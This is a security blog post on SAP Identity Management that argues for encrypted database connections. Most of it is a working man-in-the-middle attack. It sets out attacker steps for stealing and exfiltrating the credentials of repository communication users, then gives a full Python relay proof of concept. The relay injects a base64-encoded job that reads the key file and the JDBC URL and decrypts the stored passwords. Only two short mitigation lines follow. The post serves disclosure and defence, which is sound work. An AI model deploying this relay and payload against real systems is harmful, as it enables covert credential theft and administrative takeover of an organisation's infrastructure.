Securing IdM: Why encrypted database-connections are essential
Motivation
Operating software like SAP IdM will increase the security of your it infrastructure, but can bring also dangers when implemented poorly/incorrectly.
One of the biggest issues on this topic is the transport-security of the JDBC-layer; most installations I saw are using unencrypted database-connections and are vulnerable to man-in-the-middle-attacks.
I will show a few scenarios, where you can gain full control of an it infrastructure, just by using man-in-the-middle-attack in a network where SAP IdM operates.
Target: identity management
Some might ask why an attacker should target the identity management software and not some specific database or application server.
The answer is pretty easy: the identity management software is the central application which manages user accounts. Reading/modifying data in the system might give us infrastructure-wide privileges and accounts – for further malicious intents.
The attack
There are a few possible attack surfaces for a man-in-the-middle-attack. Starting by the most hard-to-achieve scenario, I will show you which is the easiest/most effective one.
Browser-Connection of a key-user
The most obvious but the hardest to achieve attack surface is the browser-connection of a privileged key user. From there on; having some insight-knowledge of the idm processes, you might be able to create a high-privileged user account on all servers of the target company.
Using HTTPS and processes with multiple approval-mechanisms will help to be secure against this kind of man-in-the-middle-attack. Generally its technical difficult to hijack a specific user, you will need insider knowledge of the idm processes and depending on the implemented processes (approval mechanisms) you might need to “hack” multiple persons making this a very unlikely scenario.
Database connection: ASJAVA <-> DB
Attacking the db-connection for the ASJAVA (UI server) to the database is a much more lucrative and easy scenario for a hacker.
When the database-connection is unencrypted to are able to read and modify the packets; you will be able to read possible passwords (if stored in sap idm) or create malicious users and assigning privileges to him.
This attack scenario needs a very deep knowledge of sap idm and its database-schema, since you will be using specific procedures in the database to create a user and then assign privileges to him.
Also this will potentially trigger processes you do not want to have and will be logged in the database. Additionally very little amount of sap idm systems store cleartext passwords in the database (password encryption is activated by default) and using the rather (unprivileged) database-connection from the application server will decrease the surface for a malicious attack.
Database connection: Dispatcher <-> DB (aka best way to go)
Hijacking an unencrypted database-connection between dispatcher and the database is the best way to attack a identity management application.
One possible way to attack is to sniff the connection between them and whenever the dispatcher wants to execute a job, you modify the jobdefinition to execute malicious code on the dispatcher.
You might execute java-code to inject a backdoor to the server on which the dispatcher works on, reading the key file and database-connection information -> full control of the idm database.
Then you might want to read passwords, since you have access to the keyfile, you might even be able to decrypt them.
One little problem: very little amount of SAP idm systems will store productive user passwords (or they might be outdated).
But there is a very small but fatal way to gain full access of a it infrastructure: the communication users in the repositories. Their stored passwords are always productive, always be up-to-date and the communication users will have all essential privileges to create users manually on the destination systems.
So your attack works like this:
- Use Man-in-the-middle attack to sniff on the connection dispatcher <-> db
- Wait for the dispatcher to ask for a job to execute
- Modify the jobdefinition to execute a script which reads all user credentials stored in the repository-table and decrypt it with internal decryption functions (uDecrypt).
- Send all these credentials to your mail/server/whatever.
- Use this credentials to create new user accounts with adminitrative rights.
- Profit.
One big bonus in this scenario: Its easy and noone will ever know. There will be no logs in the database indicating that someone had control to the server. All code will be executed in memory and depending on your malicious code – there will be no traces.
Proof of Concept
The following python code will create a small relay server, wait for a jobdefinition to be transfered and modify it to execute a malicious script, which will decrypt user credentials of communication users in all repositories and uWarn them.
A further explanation how to start a man-in-the-middle-attack will not be discussed here.
This snippet works for oracle.
LISTEN_PORT = 1521
SERVER_PORT = 1521
SERVER_ADDR = "10.10.110.121"
from twisted.internet import protocol, reactor
fakedata = '{B64}PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8bXg6RU1TIHhtbG5zOm14PSJodHRwOi8vd3d3Lm1heHdhcmUuY29tL0VNUyI+DQo8bXg6R1VJRD44M0QwODMyRjEzQkE0RDkwOTdFQjE3NDU2QzhDREI4RTwvbXg6R1VJRD4NCjxteDpWRVJTSU9OPjEuMDwvbXg6VkVSU0lPTj4NCjxteDpEU0VKb2JzPg0KPG14OlNlcXVlbmNlPg0KPG14OlN0ZXAgRW5hYmxlZD0iVFJVRSIgS2V5PSJOZXcgSm9iIDMzOCIvPg0KPC9teDpTZXF1ZW5jZT4NCjxteDpKb2IgbmFtZT0iTmV3IEpvYiAzMzgiPg0KPG14OkRlc2NyaXB0aW9uLz4NCjxteDpTZXF1ZW5jZT4NCjxteDpTdGVwIEVuYWJsZWQ9IlRSVUUiIEtleT0iYzNlODEzY2ItNjFiNC00YTJmLWE4NjMtNjcxZjQzNTdmYWI2Ii8+DQo8L214OlNlcXVlbmNlPg0KPG14Okdsb2JhbHMvPg0KDQo8bXg6Q29tbW9uPg0KPEVOR0lORVRZUEU+MTwvRU5HSU5FVFlQRT4NCjxTQ1JJUFRFTkc+bnVsbDwvU0NSSVBURU5HPg0KPEVWTE9HPjA8L0VWTE9HPg0KPEVSUkxPRz4lJGRkbS5kZG1wYXRoJVxEU0UubG9nPC9FUlJMT0c+DQo8WExSRVNFVD4xPC9YTFJFU0VUPg0KPFNOTVBUUkFQTEVWRUw+MDwvU05NUFRSQVBMRVZFTD4NCjxNQVhFUlJPUj4wPC9NQVhFUlJPUj4NCjxMT0dMSU1JVD4yNTwvTE9HTElNSVQ+DQo8UklHSFRfVFJJTT4wPC9SSUdIVF9UUklNPg0KPE1DTE9HTEVWRUw+MTwvTUNMT0dMRVZFTD4NCjwvbXg6Q29tbW9uPg0KPG14OlBhc3MgbmFtZT0iYzNlODEzY2ItNjFiNC00YTJmLWE4NjMtNjcxZjQzNTdmYWI2Ij4NCjxUWVBFPlRvIEdlbmVyaWM8L1RZUEU+DQo8REVTQ1JJUFRJT04+SDRjazNSPC9ERVNDUklQVElPTj4NCjxSRVBPU0lUT1JZPjA8L1JFUE9TSVRPUlk+DQo8TUFYREVMRVRFPjUlPC9NQVhERUxFVEU+DQo8QVVESVRMRVZFTD4wPC9BVURJVExFVkVMPg0KPERFTFRBRU5BQkxFRD4wPC9ERUxUQUVOQUJMRUQ+DQo8U0tJUD4wPC9TS0lQPg0KPEpVU1RERUxUQT4wPC9KVVNUREVMVEE+DQo8TUFSS0RFTD4wPC9NQVJLREVMPg0KPEFVVE9ERUxFVEU+MDwvQVVUT0RFTEVURT4NCjxDVVJSVEFCPjI8L0NVUlJUQUI+DQo8UkVBREZST01QVk8+MDwvUkVBREZST01QVk8+DQo8RlJPTVNRTD5zZWxlY3QgMSBmcm9tIGR1YWw8L0ZST01TUUw+DQo8RklMVEVSRURJVFNUQVRVUz4xNjwvRklMVEVSRURJVFNUQVRVUz4NCjxVU0VJRFNUT1JFPjE8L1VTRUlEU1RPUkU+DQo8SURTVE9SRT4tLSBTZWxmIC0tPC9JRFNUT1JFPg0KPFNPVVJDRUVOVFJZVFlQRT4wPC9TT1VSQ0VFTlRSWVRZUEU+DQo8U0NSSVBUTkVYVD5OZXdTY3JpcHQ1NzwvU0NSSVBUTkVYVD4NCjxteDpDbGFzcz4NCjxteDphdHRyIG5hbWU9IlRFU1QiPg0KPG14OnZhbHVlPjE8L214OnZhbHVlPg0KPC9teDphdHRyPg0KPG14OmF0dHIgbmFtZT0iVVJMIj4NCjxteDp2YWx1ZT4lJGRkbS5pZGVudGl0eWNlbnRlciU8L214OnZhbHVlPg0KPC9teDphdHRyPg0KPC9teDpDbGFzcz4NCjwvbXg6UGFzcz4NCg0KPG14OkZ1bmN0aW9ucz4NCjxteDpGdW5jdGlvbiBFbmFibGVkPSJUUlVFIiBFcnJvclN0YXR1cz0iMCIgU2NyaXB0PSJKU2NyaXB0IiBuYW1lPSJtYWxfc2NyaXB0Ij4NCjxteDpDb2RlPi8vIE1haW4gZnVuY3Rpb246IG1hbF9zY3JpcHQNCg0KZnVuY3Rpb24gbWFsX3NjcmlwdChQYXIpIHsNCiAgICB1V2FybmluZygnS0VLJyk7DQogICAgdmFyIHNxbCA9ICJzZWxlY3QgZTEucmVwX25hbWUsIGUyLnZhcm5hbWUsIGUyLnZhcnZhbHVlIGZyb20gbWNfcmVwb3NpdG9yeSBlMSAiOw0KICAgIHNxbCArPSAiaW5uZXIgam9pbiBtY19yZXBvc2l0b3J5X3ZhcnMgZTIgb24gZTEuUkVQX0lEID0gZTIuUkVQT1NJVE9SWSAiOw0KICAgIHNxbCArPSAid2hlcmUgZTIudmFybmFtZSBpbiAoJ0pDT19DTElFTlRfVVNFUicsICdKQ09fQ0xJRU5UX1BBU1NXRCcsICdMREFQX1BBU1NXT1JEJywgJ0xEQVBfTE9HSU4nKSI7DQogICAgdmFyIHJlc3VsdFNxbCA9IHVTZWxlY3Qoc3FsKTsNCiAgICB2YXIgcmVzdWx0QXJyID0gcmVzdWx0U3FsLnNwbGl0KCIhISIpOw0KICAgIHVXYXJuaW5nKCdLRUsnKTsNCiAgICB2YXIgcmVzdWx0U3RyID0gIiI7DQogICAgZm9yICh2YXIgaSA9IDA7IGkgJmx0OyByZXN1bHRBcnIubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgdmFyIHRlbXBBcnIgPSByZXN1bHRBcnJbaV0uc3BsaXQoInwiKTsNCiAgICAgICAgdmFyIHZhbCA9ICIiOw0KICAgICAgICB1V2FybmluZygiQ09NSU5HIik7DQogICAgICAgIGlmICh0ZW1wQXJyWzJdLnN1YnN0cmluZygxLCA5KSA9PSAie0RFUzNDQkN9Iikgew0KICAgICAgICAgICAgdVdhcm5pbmcodGVtcEFyclsyXSk7DQogICAgICAgICAgICAvL3ZhbCA9IHVEZWNyeXB0KHRlbXBBcnJbMl0pOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgdmFsID0gdGVtcEFyclsyXTsNCiAgICAgICAgfQ0KICAgICAgICB1V2FybmluZygiJmx0O1JlcG9zaXRvcnk9ICIgKyB0ZW1wQXJyWzBdICsgIiBWYXJuYW1lPSAiICsgdGVtcEFyclsxXSArICIgVmFydmFsPSIgKyB0ZW1wQXJyWzJdICsgIiZndDsiKTsNCiAgICB9DQogICAgcmV0dXJuICIiOw0KfTwvbXg6Q29kZT4NCjwvbXg6RnVuY3Rpb24+DQo8bXg6RnVuY3Rpb24gRW5hYmxlZD0iVFJVRSIgRXJyb3JTdGF0dXM9IjAiIFNjcmlwdD0iSlNjcmlwdCIgbmFtZT0iTmV3U2NyaXB0NTciPg0KPG14OkNvZGU+Ly8gTWFpbiBmdW5jdGlvbjogTmV3U2NyaXB0NTcNCg0KZnVuY3Rpb24gTmV3U2NyaXB0NTcoUGFyKSB7DQogICAgdmFyIGRiY29ubiA9IFBhci5nZXQoIlVSTCIpOw0KDQogICAgLy8gUkVBRCBLRVkgRklMRQ0KICAgIHZhciBGaWxlTmFtZSA9ICIuXFxLRVlcXEtleXMuaW5pIjsNCiAgICB2YXIgTGVuZ3RoID0gLTE7DQogICAgdmFyIGJCaW5hcnkgPSBmYWxzZTsNCiAgICB2YXIgUmVhZFN0cmluZyA9IHVGcm9tRmlsZShGaWxlTmFtZSwgTGVuZ3RoLCBiQmluYXJ5KTsNCiAgICB1V2FybmluZyhSZWFkU3RyaW5nKTsNCg0KICAgIC8vIFJFQUQgUFJPUCBEQVRBDQogICAgRmlsZU5hbWUgPSAiLlxcU2VydmljZS1TY3JpcHRzXFxEaXNwYXRjaGVyX1NlcnZpY2VfZGlzcF9wcm92LnByb3AiOw0KICAgIFJlYWRTdHJpbmcgPSB1RnJvbUZpbGUoRmlsZU5hbWUsIExlbmd0aCwgYkJpbmFyeSk7DQogICAgdmFyIGluZGV4TG9naW4gPSBSZWFkU3RyaW5nLmluZGV4T2YoIk1DX0pEQkNVUkw9IikgKyAiTUNfSkRCQ1VSTD0iLmxlbmd0aDsNCiAgICBSZWFkU3RyaW5nID0gUmVhZFN0cmluZy5zbGljZShpbmRleExvZ2luKTsNCiAgICB2YXIgbmV4dExpbmUgPSBSZWFkU3RyaW5nLmluZGV4T2YoIlxuIikgLSAxOw0KICAgIFJlYWRTdHJpbmcgPSBSZWFkU3RyaW5nLnN1YnN0cigwLCBuZXh0TGluZSk7DQogICAgdVdhcm5pbmcoUmVhZFN0cmluZyk7DQoNCg0KDQogICAgLy8gUkVBRCBSRVBPU0lUT1JZIExPR0lOUw0KICAgIHZhciBzcWwgPSAic2VsZWN0IGUxLnJlcF9uYW1lLCBlMi52YXJuYW1lLCBlMi52YXJ2YWx1ZSBmcm9tIG1jX3JlcG9zaXRvcnkgZTEgIjsNCiAgICBzcWwgKz0gImlubmVyIGpvaW4gbWNfcmVwb3NpdG9yeV92YXJzIGUyIG9uIGUxLlJFUF9JRCA9IGUyLlJFUE9TSVRPUlkgIjsNCiAgICBzcWwgKz0gIndoZXJlIGUyLnZhcm5hbWUgaW4gKCdKQ09fQ0xJRU5UX1VTRVInLCAnSkNPX0NMSUVOVF9QQVNTV0QnLCAnTERBUF9QQVNTV09SRCcsICdMREFQX0xPR0lOJykiOw0KICAgIHZhciByZXN1bHRTcWwgPSB1U2VsZWN0KHNxbCk7DQogICAgdmFyIHJlc3VsdEFyciA9IHJlc3VsdFNxbC5zcGxpdCgiISEiKTsNCiAgICBmb3IgKHZhciBpID0gMDsgaSAmbHQ7IHJlc3VsdEFyci5sZW5ndGg7IGkrKykgew0KICAgICAgICB2YXIgdGVtcEFyciA9IHJlc3VsdEFycltpXS5zcGxpdCgifCIpOw0KICAgICAgICB2YXIgdmFsdWUxID0gIiIgKyB0ZW1wQXJyWzJdOw0KICAgICAgICB2YWx1ZTEgPSB2YWx1ZTEuc3Vic3RyKDEsIDcpOw0KICAgICAgICBpZiAodmFsdWUxID09ICJERVMzQ0JDIikgew0KICAgICAgICAgICAgdmFsdWUxID0gdURlY3J5cHQodGVtcEFyclsyXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICB2YWx1ZTEgPSB0ZW1wQXJyWzJdOw0KICAgICAgICB9DQoNCiAgICAgICAgdVdhcm5pbmcoIiZsdDtSZXBvc2l0b3J5PSAiICsgdGVtcEFyclswXSArICIgVmFybmFtZT0gIiArIHRlbXBBcnJbMV0gKyAiIFZhcnZhbD0iICsgdmFsdWUxICsgIiZndDsiKTsNCiAgICB9DQogICAgcmV0dXJuICIiOw0KfTwvbXg6Q29kZT4NCjwvbXg6RnVuY3Rpb24+DQo8L214OkZ1bmN0aW9ucz4NCjwvbXg6Sm9iPg0KPC9teDpEU0VKb2JzPg0KPC9teDpFTVM+DQo='
def paddData(data):
olddata = data
stacks = len(fakedata) // 255
newdata = ''
for i in range(0, stacks):
if (i == stacks - 1):
newdata = newdata + data[:255] + chr(len(data) - 255)
else:
newdata = newdata + data[:255] + chr(255)
data = data[255:]
newdata = newdata + data
return newdata
class ServerProtocol(protocol.Protocol):
def __init__(self):
self.buffer = None
self.client = None
def connectionMade(self):
factory = protocol.ClientFactory()
factory.protocol = ClientProtocol
factory.server = self
reactor.connectTCP(SERVER_ADDR, SERVER_PORT, factory)
# Client => Proxy
def dataReceived(self, data):
if self.client:
self.client.write(data)
else:
self.buffer = data
# Proxy => Client
def write(self, data):
i = data.find('{B64}')
tempdata = data[i:]
x = tempdata.find(chr(0))
if (i > 0):
print "Found Job: " + data
print "========================"
print "========================"
print "========================"
print "========================"
print "========================"
print "Injecting Code: " + fakedata
print "========================"
print "========================"
print "========================"
print "========================"
print "Done!"
newdata = data[0:i]
newdata = newdata + paddData(fakedata)
newdata = newdata + data[x+ i:]
newdata = chr(22) + chr(233) + newdata[2:]
target = open('cap.dat', 'w')
target.write(data)
target.close()
target = open('cap1.dat', 'w')
target.write(newdata)
target.close()
self.transport.write(newdata)
else:
self.transport.write(data)
class ClientProtocol(protocol.Protocol):
def connectionMade(self):
self.factory.server.client = self
self.write(self.factory.server.buffer)
self.factory.server.buffer = ''
# Server => Proxy
def dataReceived(self, data):
self.factory.server.write(data)
# Proxy => Server
def write(self, data):
if data:
self.transport.write(data)
def main():
print "====================="
print "Man-in-the-Middle PoC"
print "Code: Aydin Tekin, IBsolution"
print "====================="
print "Waiting for connections..."
factory = protocol.ServerFactory()
factory.protocol = ServerProtocol
reactor.listenTCP(LISTEN_PORT, factory)
reactor.run()
if __name__ == '__main__':
main()
How to stay safe
- Enable encrypted jdbc-connections
- Seperate your network, to make sure the idm doesnt operate in the same network where your users are logged on